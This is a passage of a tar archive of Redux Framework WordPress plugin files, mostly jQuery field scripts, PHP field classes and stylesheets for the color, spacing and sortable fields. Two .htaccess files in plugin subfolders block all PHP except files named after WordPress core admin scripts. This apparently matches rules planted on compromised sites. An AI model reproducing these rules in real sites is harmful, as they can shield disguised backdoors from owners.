).val( prevColor ); } } redux_change( $( this ) ); } ); } ); }; })( jQuery );��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/color/field_color.min.js�������������������������������������������������0000644�����������������00000004467�14720701300�0016431 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(n){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.color=redux.field_objects.color||{},n(document).ready(function(){}),redux.field_objects.color.init=function(t){t||(t=n(document).find(".redux-group-tab:visible").find(".redux-container-color:visible")),n(t).each(function(){var i=n(this),t=i;i.hasClass("redux-field-container")||(t=i.parents(".redux-field-container:first")),t.is(":hidden")||t.hasClass("redux-field-init")&&(t.removeClass("redux-field-init"),i.find(".redux-color-init").wpColorPicker({change:function(t,r){n(this).val(r.color.toString()),redux_change(n(this)),i.find("#"+t.target.getAttribute("data-id")+"-transparency").removeAttr("checked")},clear:function(t,r){n(this).val(""),redux_change(n(this).parent().find(".redux-color-init"))}}),i.find(".redux-color").on("focus",function(){n(this).data("oldcolor",n(this).val())}),i.find(".redux-color").on("keyup",function(){var t=n(this).val(),r=colorValidate(this),e="#"+n(this).attr("id");"transparent"===t?(n(this).parent().parent().find(".wp-color-result").css("background-color","transparent"),i.find(e+"-transparency").attr("checked","checked")):(i.find(e+"-transparency").removeAttr("checked"),r&&r!==n(this).val()&&n(this).val(r))}),i.find(".redux-color").on("blur",function(){var t=n(this).val(),r="#"+n(this).attr("id");"transparent"===t?(n(this).parent().parent().find(".wp-color-result").css("background-color","transparent"),i.find(r+"-transparency").attr("checked","checked")):(colorValidate(this)===t&&0!==t.indexOf("#")&&n(this).val(n(this).data("oldcolor")),i.find(r+"-transparency").removeAttr("checked"))}),i.find(".redux-color").on("keydown",function(){n(this).data("oldkeypress",n(this).val())}),i.find(".color-transparency").on("click",function(){if(n(this).is(":checked"))i.find(".redux-saved-color").val(n("#"+n(this).data("id")).val()),i.find("#"+n(this).data("id")).val("transparent"),i.find("#"+n(this).data("id")).parent().parent().find(".wp-color-result").css("background-color","transparent");else if("transparent"===i.find("#"+n(this).data("id")).val()){var t=n(".redux-saved-color").val();""===t&&(t=n("#"+n(this).data("id")).data("default-color")),i.find("#"+n(this).data("id")).parent().parent().find(".wp-color-result").css("background-color",t),i.find("#"+n(this).data("id")).val(t)}redux_change(n(this))}))})}}(jQuery);���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/color/.htaccess����������������������������������������������������������0000644�����������������00000001626�14720701300�0014620 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/spacing/field_spacing.min.js���������������������������������������������0000644�����������������00000002514�14720701300�0017234 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(d){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.spacing=redux.field_objects.spacing||{},d(document).ready(function(){}),redux.field_objects.spacing.init=function(i){i||(i=d(document).find(".redux-group-tab:visible").find(".redux-container-spacing:visible")),d(i).each(function(){var i=d(this),e=i;if(i.hasClass("redux-field-container")||(e=i.parents(".redux-field-container:first")),!e.is(":hidden")&&e.hasClass("redux-field-init")){e.removeClass("redux-field-init");var n={width:"resolve",triggerChange:!0,allowClear:!0},s=i.find(".select2_params");if(0<s.size()){var t=s.val();t=JSON.parse(t),n=d.extend({},n,t)}i.find(".redux-spacing-units").select2(n),i.find(".redux-spacing-input").on("change",function(){var i=d(this).parents(".redux-field:first").find(".field-units").val();0!==d(this).parents(".redux-field:first").find(".redux-spacing-units").length&&(i=d(this).parents(".redux-field:first").find(".redux-spacing-units option:selected").val());var e=d(this).val();void 0!==i&&e&&(e+=i),d(this).hasClass("redux-spacing-all")?d(this).parents(".redux-field:first").find(".redux-spacing-value").each(function(){d(this).val(e)}):d("#"+d(this).attr("rel")).val(e)}),i.find(".redux-spacing-units").on("change",function(){d(this).parents(".redux-field:first").find(".redux-spacing-input").change()})}})}}(jQuery);������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/spacing/field_spacing.js�������������������������������������������������0000644�����������������00000006206�14720701300�0016454 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*global redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.spacing = redux.field_objects.spacing || {}; $( document ).ready( function() { //redux.field_objects.spacing.init(); } ); redux.field_objects.spacing.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-spacing:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } var default_params = { width: 'resolve', triggerChange: true, allowClear: true }; var select2_handle = el.find( '.select2_params' ); if ( select2_handle.size() > 0 ) { var select2_params = select2_handle.val(); select2_params = JSON.parse( select2_params ); default_params = $.extend( {}, default_params, select2_params ); } el.find( ".redux-spacing-units" ).select2( default_params ); el.find( '.redux-spacing-input' ).on( 'change', function() { var units = $( this ).parents( '.redux-field:first' ).find( '.field-units' ).val(); if ( $( this ).parents( '.redux-field:first' ).find( '.redux-spacing-units' ).length !== 0 ) { units = $( this ).parents( '.redux-field:first' ).find( '.redux-spacing-units option:selected' ).val(); } var value = $( this ).val(); if ( typeof units !== 'undefined' && value ) { value += units; } if ( $( this ).hasClass( 'redux-spacing-all' ) ) { $( this ).parents( '.redux-field:first' ).find( '.redux-spacing-value' ).each( function() { $( this ).val( value ); } ); } else { $( '#' + $( this ).attr( 'rel' ) ).val( value ); } } ); el.find( '.redux-spacing-units' ).on( 'change', function() { $( this ).parents( '.redux-field:first' ).find( '.redux-spacing-input' ).change(); } ); } ); }; })( jQuery );������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/spacing/field_spacing.php������������������������������������������������0000644�����������������00000046120�14720701300�0016626 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'ReduxFramework_spacing' ) ) { class ReduxFramework_spacing { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $field, $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function render() { /* * So, in_array() wasn't doing it's job for checking a passed array for a proper value. * It's wonky. It only wants to check the keys against our array of acceptable values, and not the key's * value. So we'll use this instead. Fortunately, a single no array value can be passed and it won't * take a dump. */ // No errors please // Set field values $defaults = array( 'units' => '', 'mode' => 'padding', 'top' => true, 'bottom' => true, 'all' => false, 'left' => true, 'right' => true, 'units_extended' => false, 'display_units' => true ); $this->field = wp_parse_args( $this->field, $defaults ); // Set default values $defaults = array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', 'units' => 'px' ); $this->value = wp_parse_args( $this->value, $defaults ); /* * Acceptable values checks. If the passed variable doesn't pass muster, we unset them * and reset them with default values to avoid errors. */ // If units field has a value but is not an acceptable value, unset the variable if ( isset( $this->field['units'] ) && ! Redux_Helpers::array_in_array( $this->field['units'], array( '', false, '%', 'in', 'cm', 'mm', 'em', 'rem', 'ex', 'pt', 'pc', 'px' ) ) ) { unset( $this->field['units'] ); } //if there is a default unit value but is not an accepted value, unset the variable if ( isset( $this->value['units'] ) && ! Redux_Helpers::array_in_array( $this->value['units'], array( '', '%', 'in', 'cm', 'mm', 'em', 'rem', 'ex', 'pt', 'pc', 'px' ) ) ) { unset( $this->value['units'] ); } // if ($this->field['mode'] == "absolute") { // $this->field['units'] = ""; // $this->value['units'] = ""; // } if ( $this->field['units'] == false ) { $this->value == ""; } if ( isset( $this->field['mode'] ) && ! in_array( $this->field['mode'], array( 'margin', 'padding' ) ) ) { if ( $this->field['mode'] == "absolute" ) { $absolute = true; } $this->field['mode'] = ""; } $value = array( 'top' => isset( $this->value[ $this->field['mode'] . '-top' ] ) ? filter_var( $this->value[ $this->field['mode'] . '-top' ], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ) : filter_var( $this->value['top'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ), 'right' => isset( $this->value[ $this->field['mode'] . '-right' ] ) ? filter_var( $this->value[ $this->field['mode'] . '-right' ], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ) : filter_var( $this->value['right'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ), 'bottom' => isset( $this->value[ $this->field['mode'] . '-bottom' ] ) ? filter_var( $this->value[ $this->field['mode'] . '-bottom' ], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ) : filter_var( $this->value['bottom'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ), 'left' => isset( $this->value[ $this->field['mode'] . '-left' ] ) ? filter_var( $this->value[ $this->field['mode'] . '-left' ], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ) : filter_var( $this->value['left'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ) ); // if field units has a value and is NOT an array, then evaluate as needed. if ( isset( $this->field['units'] ) && ! is_array( $this->field['units'] ) ) { //if units fields has a value and is not empty but units value does not then make units value the field value if ( isset( $this->field['units'] ) && $this->field['units'] != "" && ! isset( $this->value['units'] ) || $this->field['units'] == false ) { $this->value['units'] = $this->field['units']; // If units field does NOT have a value and units value does NOT have a value, set both to blank (default?) } else if ( ! isset( $this->field['units'] ) && ! isset( $this->value['units'] ) ) { $this->field['units'] = 'px'; $this->value['units'] = 'px'; // If units field has NO value but units value does, then set unit field to value field } else if ( ! isset( $this->field['units'] ) && isset( $this->value['units'] ) ) { // If Value is defined $this->field['units'] = $this->value['units']; // if unit value is set and unit value doesn't equal unit field (coz who knows why) // then set unit value to unit field } elseif ( isset( $this->value['units'] ) && $this->value['units'] !== $this->field['units'] ) { $this->value['units'] = $this->field['units']; } // do stuff based on unit field NOT set as an array } elseif ( isset( $this->field['units'] ) && is_array( $this->field['units'] ) ) { // nothing to do here, but I'm leaving the construct just in case I have to debug this again. } if ( isset( $this->field['units'] ) ) { $value['units'] = $this->value['units']; } $this->value = $value; if ( ! empty( $this->field['mode'] ) ) { $this->field['mode'] = $this->field['mode'] . "-"; } $defaults = array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', 'units' => '' ); $this->value = wp_parse_args( $this->value, $defaults ); if ( isset( $this->field['select2'] ) ) { // if there are any let's pass them to js $select2_params = json_encode( $this->field['select2'] ); $select2_params = htmlspecialchars( $select2_params, ENT_QUOTES ); echo '<input type="hidden" class="select2_params" value="' . $select2_params . '">'; } echo '<input type="hidden" class="field-units" value="' . $this->value['units'] . '">'; if ( isset( $this->field['all'] ) && $this->field['all'] == true ) { echo '<div class="field-spacing-input input-prepend"><span class="add-on"><i class="el el-fullscreen icon-large"></i></span><input type="text" class="redux-spacing-all redux-spacing-input mini ' . $this->field['class'] . '" placeholder="' . __( 'All', 'redux-framework' ) . '" rel="' . $this->field['id'] . '-all" value="' . $this->value['top'] . '"></div>'; } if ( $this->field['top'] === true ) { echo '<input type="hidden" class="redux-spacing-value" id="' . $this->field['id'] . '-top" name="' . $this->field['name'] . $this->field['name_suffix'] . '[' . $this->field['mode'] . 'top]' . '" value="' . $this->value['top'] . ( ! empty( $this->value['top'] ) ? $this->value['units'] : '' ) . '">'; } if ( $this->field['right'] === true ) { echo '<input type="hidden" class="redux-spacing-value" id="' . $this->field['id'] . '-right" name="' . $this->field['name'] . $this->field['name_suffix'] . '[' . $this->field['mode'] . 'right]' . '" value="' . $this->value['right'] . ( ! empty( $this->value['right'] ) ? $this->value['units'] : '' ) . '">'; } if ( $this->field['bottom'] === true ) { echo '<input type="hidden" class="redux-spacing-value" id="' . $this->field['id'] . '-bottom" name="' . $this->field['name'] . $this->field['name_suffix'] . '[' . $this->field['mode'] . 'bottom]' . '" value="' . $this->value['bottom'] . ( ! empty( $this->value['bottom'] ) ? $this->value['units'] : '' ) . '">'; } if ( $this->field['left'] === true ) { echo '<input type="hidden" class="redux-spacing-value" id="' . $this->field['id'] . '-left" name="' . $this->field['name'] . $this->field['name_suffix'] . '[' . $this->field['mode'] . 'left]' . '" value="' . $this->value['left'] . ( ! empty( $this->value['left'] ) ? $this->value['units'] : '' ) . '">'; } if ( ! isset( $this->field['all'] ) || $this->field['all'] !== true ) { /** * Top * */ if ( $this->field['top'] === true ) { echo '<div class="field-spacing-input input-prepend"><span class="add-on"><i class="el el-arrow-up icon-large"></i></span><input type="text" class="redux-spacing-top redux-spacing-input mini ' . $this->field['class'] . '" placeholder="' . __( 'Top', 'redux-framework' ) . '" rel="' . $this->field['id'] . '-top" value="' . $this->value['top'] . '"></div>'; } /** * Right * */ if ( $this->field['right'] === true ) { echo '<div class="field-spacing-input input-prepend"><span class="add-on"><i class="el el-arrow-right icon-large"></i></span><input type="text" class="redux-spacing-right redux-spacing-input mini ' . $this->field['class'] . '" placeholder="' . __( 'Right', 'redux-framework' ) . '" rel="' . $this->field['id'] . '-right" value="' . $this->value['right'] . '"></div>'; } /** * Bottom * */ if ( $this->field['bottom'] === true ) { echo '<div class="field-spacing-input input-prepend"><span class="add-on"><i class="el el-arrow-down icon-large"></i></span><input type="text" class="redux-spacing-bottom redux-spacing-input mini ' . $this->field['class'] . '" placeholder="' . __( 'Bottom', 'redux-framework' ) . '" rel="' . $this->field['id'] . '-bottom" value="' . $this->value['bottom'] . '"></div>'; } /** * Left * */ if ( $this->field['left'] === true ) { echo '<div class="field-spacing-input input-prepend"><span class="add-on"><i class="el el-arrow-left icon-large"></i></span><input type="text" class="redux-spacing-left redux-spacing-input mini ' . $this->field['class'] . '" placeholder="' . __( 'Left', 'redux-framework' ) . '" rel="' . $this->field['id'] . '-left" value="' . $this->value['left'] . '"></div>'; } } /** * Units * */ if ( $this->field['units'] !== false && is_array( $this->field['units'] ) /* && !isset($absolute) */ && $this->field['display_units'] == true ) { echo '<div class="select_wrapper spacing-units" original-title="' . __( 'Units', 'redux-framework' ) . '">'; echo '<select data-placeholder="' . __( 'Units', 'redux-framework' ) . '" class="redux-spacing redux-spacing-units select ' . $this->field['class'] . '" original-title="' . __( 'Units', 'redux-framework' ) . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '[units]' . '" id="' . $this->field['id'] . '_units">'; if ( $this->field['units_extended'] ) { $testUnits = array( 'px', 'em', 'rem', '%', 'in', 'cm', 'mm', 'ex', 'pt', 'pc' ); } else { $testUnits = array( 'px', 'em', 'pt', 'rem', '%' ); } if ( $this->field['units'] != "" || is_array( $this->field['units'] ) ) { $testUnits = $this->field['units']; } echo '<option></option>'; if ( in_array( $this->field['units'], $testUnits ) ) { echo '<option value="' . $this->field['units'] . '" selected="selected">' . $this->field['units'] . '</option>'; } else { foreach ( $testUnits as $aUnit ) { echo '<option value="' . $aUnit . '" ' . selected( $this->value['units'], $aUnit, false ) . '>' . $aUnit . '</option>'; } } echo '</select></div>'; } } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since ReduxFramework 1.0.0 */ function enqueue() { wp_enqueue_style( 'select2-css' ); wp_enqueue_script( 'redux-field-spacing-js', ReduxFramework::$_url . 'inc/fields/spacing/field_spacing' . Redux_Functions::isMin() . '.js', array( 'jquery', 'select2-js', 'redux-js' ), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-field-spacing-css', ReduxFramework::$_url . 'inc/fields/spacing/field_spacing.css', array(), time(), 'all' ); } } //function public function output() { if ( ! isset( $this->field['mode'] ) ) { $this->field['mode'] = "padding"; } if ( isset( $this->field['mode'] ) && ! in_array( $this->field['mode'], array( 'padding', 'absolute', 'margin' ) ) ) { $this->field['mode'] = ""; } $mode = ( $this->field['mode'] != "absolute" ) ? $this->field['mode'] : ""; $units = isset( $this->value['units'] ) ? $this->value['units'] : ""; $style = ''; if ( ! empty( $mode ) ) { foreach ( $this->value as $key => $value ) { if ( $key == "units" ) { continue; } // Strip off any alpha for is_numeric test - kp $num_no_alpha = preg_replace('/[^\d.-]/', '', $value); // Output if it's a numeric entry if ( isset( $value ) && is_numeric( $num_no_alpha ) ) { $style .= $key . ':' . $value . ';'; } } } else { $this->value['top'] = isset( $this->value['top'] ) ? $this->value['top'] : 0; $this->value['bottom'] = isset( $this->value['bottom'] ) ? $this->value['bottom'] : 0; $this->value['left'] = isset( $this->value['left'] ) ? $this->value['left'] : 0; $this->value['right'] = isset( $this->value['right'] ) ? $this->value['right'] : 0; $cleanValue = array( 'top' => isset( $this->value[ $mode . '-top' ] ) ? filter_var( $this->value[ $mode . '-top' ], FILTER_SANITIZE_NUMBER_INT ) : filter_var( $this->value['top'], FILTER_SANITIZE_NUMBER_INT ), 'right' => isset( $this->value[ $mode . '-right' ] ) ? filter_var( $this->value[ $mode . '-right' ], FILTER_SANITIZE_NUMBER_INT ) : filter_var( $this->value['right'], FILTER_SANITIZE_NUMBER_INT ), 'bottom' => isset( $this->value[ $mode . '-bottom' ] ) ? filter_var( $this->value[ $mode . '-bottom' ], FILTER_SANITIZE_NUMBER_INT ) : filter_var( $this->value['bottom'], FILTER_SANITIZE_NUMBER_INT ), 'left' => isset( $this->value[ $mode . '-left' ] ) ? filter_var( $this->value[ $mode . '-left' ], FILTER_SANITIZE_NUMBER_INT ) : filter_var( $this->value['left'], FILTER_SANITIZE_NUMBER_INT ) ); if ( isset( $this->field['all'] ) && true == $this->field['all'] ) { $style .= $mode . 'top:' . $cleanValue['top'] . $units . ';'; $style .= $mode . 'bottom:' . $cleanValue['top'] . $units . ';'; $style .= $mode . 'right:' . $cleanValue['top'] . $units . ';'; $style .= $mode . 'left:' . $cleanValue['top'] . $units . ';'; } else { if ( true == $this->field['top'] ) { $style .= $mode . 'top:' . $cleanValue['top'] . $units . ';'; } if ( true == $this->field['bottom'] ) { $style .= $mode . 'bottom:' . $cleanValue['bottom'] . $units . ';'; } if ( true == $this->field['left'] ) { $style .= $mode . 'left:' . $cleanValue['left'] . $units . ';'; } if ( true == $this->field['right'] ) { $style .= $mode . 'right:' . $cleanValue['right'] . $units . ';'; } } } if ( ! empty( $style ) ) { if ( ! empty( $this->field['output'] ) && is_array( $this->field['output'] ) ) { $keys = implode( ",", $this->field['output'] ); $this->parent->outputCSS .= $keys . "{" . $style . '}'; } if ( ! empty( $this->field['compiler'] ) && is_array( $this->field['compiler'] ) ) { $keys = implode( ",", $this->field['compiler'] ); $this->parent->compilerCSS .= $keys . "{" . $style . '}'; } } } } }������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/spacing/field_spacing.scss�����������������������������������������������0000644�����������������00000001223�14720701300�0017005 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-spacing { select, .select_wrapper { width: 80px !important; float: left; } .field-spacing-input { margin-right: 10px; margin-bottom: 7px; } } @media screen and (max-width: 782px) { .redux-container-spacing { .field-spacing-input { input { display: inline-block !important; width: 70px !important; } .add-on { padding: 7px 4px; font-size: 16px; line-height: 1.5; } } .select_wrapper { margin-top: 6px; } } }�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/spacing/field_spacing.css.map��������������������������������������������0000644�����������������00000000606�14720701300�0017402 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AACI;wCACgB;EACZ,KAAK,EAAE,eAAe;EACtB,KAAK,EAAE,IAAI;AAGf,6CAAqB;EACjB,YAAY,EAAE,IAAI;EAClB,aAAa,EAAE,GAAG;;AAI1B,oCAAqC;EAGzB,mDAAM;IACF,OAAO,EAAE,uBAAuB;IAChC,KAAK,EAAE,eAAe;EAG1B,qDAAQ;IACJ,OAAO,EAAE,OAAO;IAChB,SAAS,EAAE,IAAI;IACf,WAAW,EAAE,GAAG;EAIxB,wCAAgB;IACZ,UAAU,EAAE,GAAG", "sources": ["field_spacing.scss"], "names": [], "file": "field_spacing.css" }��������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/spacing/field_spacing.css������������������������������������������������0000644�����������������00000000753�14720701300�0016631 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-spacing select,.redux-container-spacing .select_wrapper{width:80px !important;float:left}.redux-container-spacing .field-spacing-input{margin-right:10px;margin-bottom:7px}@media screen and (max-width: 782px){.redux-container-spacing .field-spacing-input input{display:inline-block !important;width:70px !important}.redux-container-spacing .field-spacing-input .add-on{padding:7px 4px;font-size:16px;line-height:1.5}.redux-container-spacing .select_wrapper{margin-top:6px}} ���������������������redux-framework/inc/fields/spacing/.htaccess��������������������������������������������������������0000644�����������������00000001626�14720701300�0015126 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/sortable/field_sortable.min.js�������������������������������������������0000644�����������������00000002414�14720701300�0017611 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(t){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.sortable=redux.field_objects.sortable||{};var r="";redux.field_objects.sortable.init=function(e){e||(e=t(document).find(".redux-group-tab:visible").find(".redux-container-sortable:visible")),t(e).each(function(){var e=t(this),i=e;e.hasClass("redux-field-container")||(i=e.parents(".redux-field-container:first")),i.is(":hidden")||i.hasClass("redux-field-init")&&(i.removeClass("redux-field-init"),e.find(".redux-sortable").sortable({handle:".drag",placeholder:"placeholder",opacity:.7,scroll:!1,out:function(e,i){i.helper&&(r=0<i.offset.top?"down":"up",redux.field_objects.sortable.scrolling(t(this).parents(".redux-field-container:first")))},over:function(e,i){r=""},deactivate:function(e,i){r=""},update:function(e,i){redux_change(t(this))}}),e.find(".checkbox_sortable").on("click",function(){t(this).is(":checked")?e.find("#"+t(this).attr("rel")).val(1):e.find("#"+t(this).attr("rel")).val("")}))})},redux.field_objects.sortable.scrolling=function(e){if(void 0!==e){var i=e.find(".redux-sorter");"up"==r?(i.scrollTop(i.scrollTop()-20),setTimeout(redux.field_objects.sortable.scrolling,50)):"down"==r&&(i.scrollTop(i.scrollTop()+20),setTimeout(redux.field_objects.sortable.scrolling,50))}}}(jQuery);����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/sortable/field_sortable.scss���������������������������������������������0000644�����������������00000002313�14720701300�0017364 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-sortable { i { &.el { cursor: move; } } label { margin-right: 10px; width: 300px; &.bugger { margin-bottom: 0px !important; font-size: 12px !important; color: #999999; } } input { margin-right: 10px; } .checkbox-container { width: 364px; .drag { float: right; margin-left: 10px; } } ul { &.labeled { li { line-height: 1.4em !important; } } } li { line-height: 30px !important; &.ui-state-highlight { height: 30px; width: 364px; margin-bottom: 13px; } &.placeholder { height: 30px; margin: 10px 0; } } } .wp-customizer { .redux-sortable { input[type="text"] { width: 92%; } i.el { margin-left: 5px; } } .redux-container-sortable { .checkbox-container { width: inherit; } .ui-draggable-handle { margin-left: 3%; } } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/sortable/field_sortable.css.map������������������������������������������0000644�����������������00000001305�14720701300�0017755 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AAEQ,8BAAK;EACD,MAAM,EAAE,IAAI;AAIpB,+BAAM;EACF,YAAY,EAAE,IAAI;EAClB,KAAK,EAAE,KAAK;EAEZ,sCAAS;IACL,aAAa,EAAE,cAAc;IAC7B,SAAS,EAAE,eAAe;IAC1B,KAAK,EAAE,OAAO;AAItB,+BAAM;EACF,YAAY,EAAE,IAAI;AAGtB,6CAAoB;EAChB,KAAK,EAAE,KAAK;EAEZ,mDAAM;IACF,KAAK,EAAE,KAAK;IACZ,WAAW,EAAE,IAAI;AAMjB,uCAAG;EACC,WAAW,EAAE,gBAAgB;AAKzC,4BAAG;EACC,WAAW,EAAE,eAAe;EAE5B,+CAAqB;IACjB,MAAM,EAAE,IAAI;IACZ,KAAK,EAAE,KAAK;IACZ,aAAa,EAAE,IAAI;EAGvB,wCAAc;IACV,MAAM,EAAE,IAAI;IACZ,MAAM,EAAE,MAAM;;AAOlB,iDAAmB;EACf,KAAK,EAAE,GAAG;AAEd,mCAAK;EACD,WAAW,EAAE,GAAG;AAIpB,4DAAoB;EAChB,KAAK,EAAE,OAAO;AAElB,6DAAqB;EACjB,WAAW,EAAE,EAAE", "sources": ["field_sortable.scss"], "names": [], "file": "field_sortable.css" }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/sortable/field_sortable.php����������������������������������������������0000644�����������������00000014675�14720701300�0017216 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'ReduxFramework_sortable' ) ) { class ReduxFramework_sortable { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since Redux_Options 2.0.1 */ function __construct( $field, $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since Redux_Options 2.0.1 */ function render() { if ( empty( $this->field['mode'] ) ) { $this->field['mode'] = "text"; } if ( $this->field['mode'] != "checkbox" && $this->field['mode'] != "text" ) { $this->field['mode'] = "text"; } $class = ( isset( $this->field['class'] ) ) ? $this->field['class'] : ''; $options = $this->field['options']; // This is to weed out missing options that might be in the default // Why? Who knows. Call it a dummy check. if ( ! empty( $this->value ) ) { foreach ( $this->value as $k => $v ) { if ( ! isset( $options[ $k ] ) ) { unset( $this->value[ $k ] ); } } } $noSort = false; foreach ( $options as $k => $v ) { if ( ! isset( $this->value[ $k ] ) ) { // A save has previously been done. if ( is_array( $this->value ) && array_key_exists( $k, $this->value ) ) { $this->value[ $k ] = $v; // Missing database entry, meaning no save has yet been done. } else { $noSort = true; $this->value[ $k ] = ''; } } } // If missing database entries are found, it means no save has been done // and therefore no sort should be done. Set the default array in the same // order as the options array. Why? The sort order is based on the // saved default array. If entries are missing, the sort is messed up. // - kp if ( true == $noSort ) { $dummyArr = array(); foreach ( $options as $k => $v 